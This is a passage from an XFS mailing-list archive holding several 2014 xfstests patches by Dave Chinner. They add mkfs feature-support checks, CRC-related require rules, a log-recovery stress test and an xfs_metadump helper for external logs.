<1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198966 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some filesystem features are not compatible with certain tests, and so we need to do require tests to determine if they are supported. Some of these incompatibilities might be a result of optional mkfs parameters specified in MKFS_OPTIONS. In this case, we don't want scratch_mkfs_xfs stripping MKFS_OPTIONS and saying the feature is supported when the next _scratch_mkfs command in the test will result in a different mkfs command line. Hence add a "mkfs supported" function to run a non-destructive mkfs test to determine if the feature is supported by the current test's mkfs configuration. Signed-off-by: Dave Chinner --- common/rc | 105 +++++++++++++++++++++++++++++++++++++------------------------- 1 file changed, 63 insertions(+), 42 deletions(-) diff --git a/common/rc b/common/rc index 68dc9a0..7a96484 100644 --- a/common/rc +++ b/common/rc @@ -360,53 +360,73 @@ _setup_large_xfs_fs() return 0 } +_scratch_mkfs_xfs_opts() +{ + mkfs_opts=$* + + _scratch_options mkfs + + $MKFS_XFS_PROG $SCRATCH_OPTIONS $mkfs_opts $SCRATCH_DEV +} + + +_scratch_mkfs_xfs_supported() +{ + mkfs_opts=$* + + _scratch_options mkfs + + $MKFS_XFS_PROG -N $MKFS_OPTIONS $SCRATCH_OPTIONS $mkfs_opts $SCRATCH_DEV +} + _scratch_mkfs_xfs() { - # extra mkfs options can be added by tests - local extra_mkfs_options=$* + # extra mkfs options can be added by tests + local extra_mkfs_options=$* - local tmp_dir=/tmp/ + local tmp_dir=/tmp/ - _scratch_options mkfs + # save mkfs output in case conflict means we need to run again. + # only the output for the mkfs that applies should be shown + _scratch_mkfs_xfs_opts $MKFS_OPTIONS $extra_mkfs_options \ + 2>$tmp_dir.mkfserr 1>$tmp_dir.mkfsstd + local mkfs_status=$? - # save mkfs output in case conflict means we need to run again. - # only the output for the mkfs that applies should be shown - $MKFS_XFS_PROG $SCRATCH_OPTIONS $MKFS_OPTIONS $extra_mkfs_options $SCRATCH_DEV \ - 2>$tmp_dir.mkfserr 1>$tmp_dir.mkfsstd - local mkfs_status=$? - - # a mkfs failure may be caused by conflicts between - # $MKFS_OPTIONS and $extra_mkfs_options - - if [ $mkfs_status -ne 0 -a ! -z "$extra_mkfs_options" ]; then - echo "** mkfs failed with extra mkfs options added to \"$MKFS_OPTIONS\" by test $seq **" \ - >>$seqres.full - echo "** attempting to mkfs using only test $seq options: $extra_mkfs_options **" \ - >>$seqres.full - # running mkfs again. overwrite previous mkfs output files - $MKFS_XFS_PROG $SCRATCH_OPTIONS $extra_mkfs_options $SCRATCH_DEV \ - 2>$tmp_dir.mkfserr 1>$tmp_dir.mkfsstd - mkfs_status=$? - fi - if [ $mkfs_status -eq 0 -a "$LARGE_SCRATCH_DEV" = yes ]; then - # manually parse the mkfs output to get the fs size in bytes - local fs_size - fs_size=`cat $tmp_dir.mkfsstd | perl -ne ' - if (/^data\s+=\s+bsize=(\d+)\s+blocks=(\d+)/) { - my $size = $1 * $2; - print STDOUT "$size\n"; - }'` - _setup_large_xfs_fs $fs_size - mkfs_status=$? - fi + # a mkfs failure may be caused by conflicts between + # $MKFS_OPTIONS and $extra_mkfs_options + if [ $mkfs_status -ne 0 -a ! -z "$extra_mkfs_options" ]; then + ( + echo -n "** mkfs failed with extra mkfs options " + echo "added to \"$MKFS_OPTIONS\" by test $seq **" + echo -n "** attempting to mkfs using only test $seq " + echo "options: $extra_mkfs_options **" + ) >> $seqres.full + + # running mkfs again. overwrite previous mkfs output files + _scratch_mkfs_xfs_opts $extra_mkfs_options \ + 2>$tmp_dir.mkfserr 1>$tmp_dir.mkfsstd + local mkfs_status=$? + fi + + if [ $mkfs_status -eq 0 -a "$LARGE_SCRATCH_DEV" = yes ]; then + # manually parse the mkfs output to get the fs size in bytes + local fs_size + fs_size=`cat $tmp_dir.mkfsstd | perl -ne ' + if (/^data\s+=\s+bsize=(\d+)\s+blocks=(\d+)/) { + my $size = $1 * $2; + print STDOUT "$size\n"; + }'` + _setup_large_xfs_fs $fs_size + mkfs_status=$? + fi - # output stored mkfs output - cat $tmp_dir.mkfserr >&2 - cat $tmp_dir.mkfsstd - rm -f $tmp_dir.mkfserr $tmp_dir.mkfsstd + # output stored mkfs output + cat $tmp_dir.mkfserr >&2 + cat $tmp_dir.mkfsstd + rm -f $tmp_dir.mkfserr $tmp_dir.mkfsstd - return $mkfs_status + return $mkfs_status } # xfs_check script is planned to be deprecated. But, we want to @@ -1129,15 +1149,15 @@ _require_dm_flakey() # _require_projid32bit() { - _scratch_mkfs_xfs -f -i projid32bit=0 2>&1 >/dev/null \ - || _notrun "mkfs.xfs doesn't have projid32bit feature" + _scratch_mkfs_xfs_supported -i projid32bit=0 >/dev/null 2>&1 \ + || _notrun "mkfs.xfs doesn't have projid32bit feature" } # this test requires the crc feature to be available in mkfs.xfs # _require_xfs_mkfs_crc() { - _scratch_mkfs_xfs -f -m crc=1 >/dev/null 2>&1 \ + _scratch_mkfs_xfs_supported -m crc=1 >/dev/null 2>&1 \ || _notrun "mkfs.xfs doesn't have crc feature" } @@ -1145,6 +1165,7 @@ _require_xfs_mkfs_crc() # _require_xfs_crc() { + _scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 \ _scratch_mount >/dev/null 2>&1 \ || _notrun "Kernel doesn't support crc feature" umount $SCRATCH_MNT -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6559B7F5F for ; Mon, 20 Jan 2014 00:22:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3D0D7304048 for ; Sun, 19 Jan 2014 22:22:50 -0800 (PST) X-ASG-Debug-ID: 1390198965-04bdf00fdf7fe290003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id aSB5LT2aCMmkUdty for ; Sun, 19 Jan 2014 22:22:48 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApcNAGO/3FJ5LKVw/2dsb2JhbABZgws4pwkDlg4XdIIlAQEFVhYdCBgxOQMbGYgEw0EXkz4ElDyFGIkch0qDQSiBLCQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Km-Kn for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004Tz-K7 for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/7] xfs: New _require_* tests for CRC enabled filesystems Date: Mon, 20 Jan 2014 17:22:32 +1100 X-ASG-Orig-Subj: [PATCH 2/7] xfs: New _require_* tests for CRC enabled filesystems Message-Id: <1390198957-17184-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198967 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner CRCs always enabled 32 bit project inodes and attr2 formats, hence they cannot be turned off. Add new require rules for the tests that require attr and 16 bit project IDs so these tests are avoided on CRC enabled filesystems. Also, add a xfs_db write check so that we can avoid tests that are dependent on xfs_db modifying filesystem structures as they will fail on CRC enabled filessystems right now. This is just temporary until full write xfs_db support is available. Signed-off-by: Dave Chinner --- common/attr | 6 ++++++ common/rc | 11 ++++++++--- tests/shared/298 | 2 +- tests/xfs/186 | 1 + tests/xfs/187 | 32 ++++++++++++++++++-------------- tests/xfs/244 | 1 + tests/xfs/278 | 1 + tests/xfs/287 | 3 ++- tests/xfs/291 | 2 +- 9 files changed, 39 insertions(+), 20 deletions(-) diff --git a/common/attr b/common/attr index 4a3ac9e..1f3e57f 100644 --- a/common/attr +++ b/common/attr @@ -190,6 +190,12 @@ _require_attrs() rm -f $TEST_DIR/syscalltest.out } +_require_attr_v1() +{ + _scratch_mkfs_xfs_supported -i attr=1 >/dev/null 2>&1 \ + || _notrun "attr v1 not supported on $SCRATCH_DEV" +} + # getfattr -R returns info in readdir order which varies from fs to fs. # This sorts the output by filename _sort_getfattr_output() diff --git a/common/rc b/common/rc index 7a96484..d497818 100644 --- a/common/rc +++ b/common/rc @@ -1144,13 +1144,18 @@ _require_dm_flakey() fi } -# this test requires the projid32bit feature to be available in -# mkfs.xfs +# this test requires the projid32bit feature to be available in mkfs.xfs. # _require_projid32bit() { + _scratch_mkfs_xfs_supported -i projid32bit=1 >/dev/null 2>&1 \ + || _notrun "mkfs.xfs doesn't have projid32bit feature" +} + +_require_projid16bit() +{ _scratch_mkfs_xfs_supported -i projid32bit=0 >/dev/null 2>&1 \ - || _notrun "mkfs.xfs doesn't have projid32bit feature" + || _notrun "16 bit project IDs not supported on $SCRATCH_DEV" } # this test requires the crc feature to be available in mkfs.xfs diff --git a/tests/shared/298 b/tests/shared/298 index 4541798..6b5402c 100755 --- a/tests/shared/298 +++ b/tests/shared/298 @@ -70,7 +70,7 @@ get_free_sectors() agsize=`xfs_info $loop_mnt | $SED_PROG -n 's/.*agsize=\(.*\) blks.*/\1/p'` # Convert free space (agno, block, length) to (start sector, end sector) $UMOUNT_PROG $loop_mnt - $XFS_DB_PROG -c "freesp -d" $img_file | $SED_PROG '/^.*from/,$d'| \ + $XFS_DB_PROG -r -c "freesp -d" $img_file | $SED_PROG '/^.*from/,$d'| \ $AWK_PROG -v spb=$sectors_per_block -v agsize=$agsize \ '{ print spb * ($1 * agsize + $2), spb * ($1 * agsize + $2 + $3) - 1 }' ;; diff --git a/tests/xfs/186 b/tests/xfs/186 index 960aed1..8e18975 100755 --- a/tests/xfs/186 +++ b/tests/xfs/186 @@ -147,6 +147,7 @@ _supported_os Linux _require_scratch _require_attrs +_require_attr_v1 rm -f $seqres.full diff --git a/tests/xfs/187 b/tests/xfs/187 index 9cf1305..700ab04 100755 --- a/tests/xfs/187 +++ b/tests/xfs/187 @@ -58,20 +58,24 @@ _supported_os Linux _require_scratch _require_attrs +_require_attr_v1 +_require_projid16bit rm -f $seqres.full -# lazysb and attr2 are in features2 and will require morebitsbit on -# So test with lazysb and without it to see if the morebitsbit is -# okay etc.... # Reset the options so that we can control what is going on here export MKFS_OPTIONS="" export MOUNT_OPTIONS="" +# lazysb, attr2 and other feature bits are held in features2 and will require +# morebitsbit on So test with lazysb and without it to see if the morebitsbit is +# okay etc. If the mkfs defaults change, these need to change as well. +export MKFS_NO_LAZY="-l lazy-count=0 -i projid32bit=0" +export MKFS_LAZY="-l lazy-count=1 -i projid32bit=0" + # Make sure that when we think we are testing with morebits off # that we really are. -# Trying to future-proof in case mkfs defaults change. -_scratch_mkfs -i attr=1 -l lazy-count=0 >/dev/null 2>&1 +_scratch_mkfs -i attr=1 $MKFS_NO_LAZY >/dev/null 2>&1 $XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 >$tmp.db if grep -i morebits $tmp.db then @@ -86,14 +90,14 @@ echo "*** 1. test attr2 mkfs and then noattr2 mount ***" echo "" echo "attr2 fs" echo "" -_scratch_mkfs -i attr=2 -l lazy-count=0 >/dev/null 2>&1 -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +_scratch_mkfs -i attr=2 $MKFS_NO_LAZY >/dev/null 2>&1 +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version echo "" echo "noattr2 fs" echo "" _scratch_mount -o noattr2 $UMOUNT_PROG $SCRATCH_MNT -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version # adding an EA will ensure the ATTR1 flag is turned on echo "" @@ -101,8 +105,8 @@ echo "*** 2. test attr2 mkfs and then noattr2 mount with 1 EA ***" echo "" echo "attr2 fs" echo "" -_scratch_mkfs -i attr=2 -l lazy-count=0 >/dev/null 2>&1 -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +_scratch_mkfs -i attr=2 $MKFS_NO_LAZY >/dev/null 2>&1 +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version echo "" echo "noattr2 fs" echo "" @@ -113,7 +117,7 @@ $SETFATTR_PROG -n user.test -v 0xbabe testfile $GETFATTR_PROG testfile cd $here $UMOUNT_PROG $SCRATCH_MNT -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version echo "" echo "*** 3. test noattr2 mount and lazy sb ***" @@ -121,8 +125,8 @@ echo "" echo "" echo "attr2 fs" echo "" -_scratch_mkfs -i attr=2 -l lazy-count=1 >/dev/null 2>&1 -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +_scratch_mkfs -i attr=2 $MKFS_LAZY >/dev/null 2>&1 +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version echo "" echo "noattr2 fs" echo "" @@ -131,7 +135,7 @@ cd $SCRATCH_MNT touch testfile cd $here $UMOUNT_PROG $SCRATCH_MNT -$XFS_DB_PROG -c version $SCRATCH_DEV 2>&1 | _filter_version +$XFS_DB_PROG -r -c version $SCRATCH_DEV 2>&1 | _filter_version # success, all done status=0 diff --git a/tests/xfs/244 b/tests/xfs/244 index d899a3d..6dd8224 100755 --- a/tests/xfs/244 +++ b/tests/xfs/244 @@ -48,6 +48,7 @@ _supported_fs xfs _require_xfs_quota _require_scratch _require_projid32bit +_require_projid16bit export MOUNT_OPTIONS="-opquota" diff --git a/tests/xfs/278 b/tests/xfs/278 index 938717d..dacd1fc 100755 --- a/tests/xfs/278 +++ b/tests/xfs/278 @@ -46,6 +46,7 @@ _cleanup() _supported_fs xfs _supported_os Linux _require_scratch + _scratch_mkfs >/dev/null 2>&1 _scratch_mount diff --git a/tests/xfs/287 b/tests/xfs/287 index 10853d1..445610b 100755 --- a/tests/xfs/287 +++ b/tests/xfs/287 @@ -45,7 +45,7 @@ _cleanup() _print_projid() { - $XFS_DB_PROG -c "inode $1" \ + $XFS_DB_PROG -r -c "inode $1" \ -c "print core.projid_lo" \ -c "print core.projid_hi" \ $SCRATCH_DEV @@ -56,6 +56,7 @@ _supported_fs xfs _require_xfs_quota _require_scratch _require_projid32bit +_require_projid16bit # create xfs fs without projid32bit ability, will be gained by xfs_admin _scratch_mkfs_xfs -i projid32bit=0 -d size=200m >> $seqres.full \ diff --git a/tests/xfs/291 b/tests/xfs/291 index 7723b9e..03c4de9 100755 --- a/tests/xfs/291 +++ b/tests/xfs/291 @@ -70,7 +70,7 @@ xfs_io -f -c "pwrite 0 16m" -c "fsync" $SCRATCH_MNT/space_file.large >> $seqres. # Take a look at freespace for any post-mortem on the test _scratch_unmount -xfs_db -c freesp $SCRATCH_DEV >> $seqres.full 2>&1 +xfs_db -r -c freesp $SCRATCH_DEV >> $seqres.full 2>&1 _scratch_mount # Step 2: Make a bunch of (hopefully fragmented) multiblock -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C95257F58 for ; Mon, 20 Jan 2014 00:22:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFE01304048 for ; Sun, 19 Jan 2014 22:22:49 -0800 (PST) X-ASG-Debug-ID: 1390198963-04cb6c537cedacf0004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 1BpEqhrFGqxG3BAU for ; Sun, 19 Jan 2014 22:22:48 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giUBAQVWMwgYMTkDGxmIBMNYjjKFDASOPZt9g0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Kn-LQ for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004U4-KY for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/7] xfs: add fsstress/recovery test Date: Mon, 20 Jan 2014 17:22:33 +1100 X-ASG-Orig-Subj: [PATCH 3/7] xfs: add fsstress/recovery test Message-Id: <1390198957-17184-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198967 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This has found several issues with recovery on CRC based filesystems. It is based on a test case for a dir3 assert failure provided by Michael L Semon. Signed-off-by: Dave Chinner --- tests/xfs/306 | 105 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/306.out | 2 ++ tests/xfs/group | 1 + 3 files changed, 108 insertions(+) create mode 100644 tests/xfs/306 create mode 100644 tests/xfs/306.out diff --git a/tests/xfs/306 b/tests/xfs/306 new file mode 100644 index 0000000..0794de3 --- /dev/null +++ b/tests/xfs/306 @@ -0,0 +1,105 @@ +#!/bin/bash +# FS QA Test No. xfs/306 +# +# Basic log recovery stress test - do lots of stuff, shut down in the middle of +# it and check that recovery runs to completion and everything can be +# successfully removed afterwards.. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_cleanup() +{ + cd / + umount $SCRATCH_MNT 2>/dev/null + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# real QA test starts here +_supported_fs xfs +_supported_os Linux + +_require_scratch + +rm -f $seqres.full + +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount + +SLEEP_TIME=$((30 * $TIME_FACTOR)) +PROCS=$((2 * LOAD_FACTOR)) + +load_dir=$SCRATCH_MNT/test + +# let this run for a while +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +killall -q $FSSTRESS_PROG +wait +sync +umount $SCRATCH_MNT + +# now mount again, run the load again, this time with a shutdown. +_scratch_mount +$XFS_FSR_PROG -v $load_dir >> $seqres.full 2>&1 +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +sync + +# now shutdown and unmount +sleep 5 +$here/src/godown $load_dir +killall -q $FSSTRESS_PROG +wait + +# for some reason fsstress processes manage to live on beyond the wait? +sleep 5 +umount $SCRATCH_MNT + +# now recover, check the filesystem for consistency +_scratch_mount +umount $SCRATCH_MNT +_check_scratch_fs + +# now clean up. +_scratch_mount +for d in $load_dir/*; do + rm -rf $d > /dev/null 2>&1 & +done +wait +umount $SCRATCH_MNT +_check_scratch_fs + +echo "No output is good. Failures are loud." + +status=0 +exit diff --git a/tests/xfs/306.out b/tests/xfs/306.out new file mode 100644 index 0000000..9fd18a4 --- /dev/null +++ b/tests/xfs/306.out @@ -0,0 +1,2 @@ +QA output created by 306 +No output is good. Failures are loud. diff --git a/tests/xfs/group b/tests/xfs/group index f6543ed..279ffe2 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -185,3 +185,4 @@ 303 auto quick quota 304 auto quick quota 305 auto quota +306 auto stress log metadata repair -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D07157F5A for ; Mon, 20 Jan 2014 00:22:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8D8678F8040 for ; Sun, 19 Jan 2014 22:22:47 -0800 (PST) X-ASG-Debug-ID: 1390198965-04bdf00fdf7fe290001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id dAR50piofNTzBBbx for ; Sun, 19 Jan 2014 22:22:46 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giUBAQVWMwgYMTkDGxmIBMNBF48chCIEonCHSoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Kq-Mh for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004UE-Lk for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/7] xfs: support xfs_metadump with external logs Date: Mon, 20 Jan 2014 17:22:35 +1100 X-ASG-Orig-Subj: [PATCH 5/7] xfs: support xfs_metadump with external logs Message-Id: <1390198957-17184-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198965 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When running xfstests with an external log, the metadump tests fail with extra output like: +filesystem is marked as having an external log; specify logdev on the mount command line. +xfs_metadump: cannot read superblock for ag 0 Add a _scratch_metadump() function to handle different logdev configurations automatically for metadump. Signed-off-by: Dave Chinner --- common/rc | 10 ++++++++++ tests/xfs/253 | 3 +-- tests/xfs/291 | 2 +- 3 files changed, 12 insertions(+), 3 deletions(-) diff --git a/common/rc b/common/rc index d497818..49c86de 100644 --- a/common/rc +++ b/common/rc @@ -317,6 +317,16 @@ _scratch_mkfs_options() echo $SCRATCH_OPTIONS $MKFS_OPTIONS $* $SCRATCH_DEV } +_scratch_metadump() +{ + dumpfile=$1 + options= + + [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_LOGDEV" ] && \ + options="-l $SCRATCH_LOGDEV" + + xfs_metadump $options $SCRATCH_DEV $dumpfile +} _setup_large_xfs_fs() { diff --git a/tests/xfs/253 b/tests/xfs/253 index f491ef4..4119794 100755 --- a/tests/xfs/253 +++ b/tests/xfs/253 @@ -171,8 +171,7 @@ ls -R | od -c >> $seqres.full cd $here _scratch_unmount - -xfs_metadump -f "${SCRATCH_DEV}" "${METADUMP_FILE}" +_scratch_metadump $METADUMP_FILE # Now restore the obfuscated one back and take a look around xfs_mdrestore "${METADUMP_FILE}" "${SCRATCH_DEV}" diff --git a/tests/xfs/291 b/tests/xfs/291 index 03c4de9..d5a9b08 100755 --- a/tests/xfs/291 +++ b/tests/xfs/291 @@ -117,7 +117,7 @@ _xfs_check $SCRATCH_DEV >> $seqres.full 2>&1 || _fail "xfs_check failed" # Yes they can! Now... # Can xfs_metadump cope with this monster? -xfs_metadump $SCRATCH_DEV $tmp.metadump || _fail "xfs_metadump failed" +_scratch_metadump $tmp.metadump || _fail "xfs_metadump failed" xfs_mdrestore $tmp.metadump $tmp.img || _fail "xfs_mdrestore failed" xfs_repair $tmp.img >> $seqres.full 2>&1 || _fail "xfs_repair of metadump failed" -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 984007F62 for ; Mon, 20 Jan 2014 00:22:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B4BEAC005 for ; Sun, 19 Jan 2014 22:22:47 -0800 (PST) X-ASG-Debug-ID: 1390198963-04cb6c537cedacf0002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id peKX6hMLnkzQ07U0 for ; Sun, 19 Jan 2014 22:22:45 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giUBAQVWMwgYMTkDGxmIBMNYjhuBAYQiBKo6g0EogSw Received: from 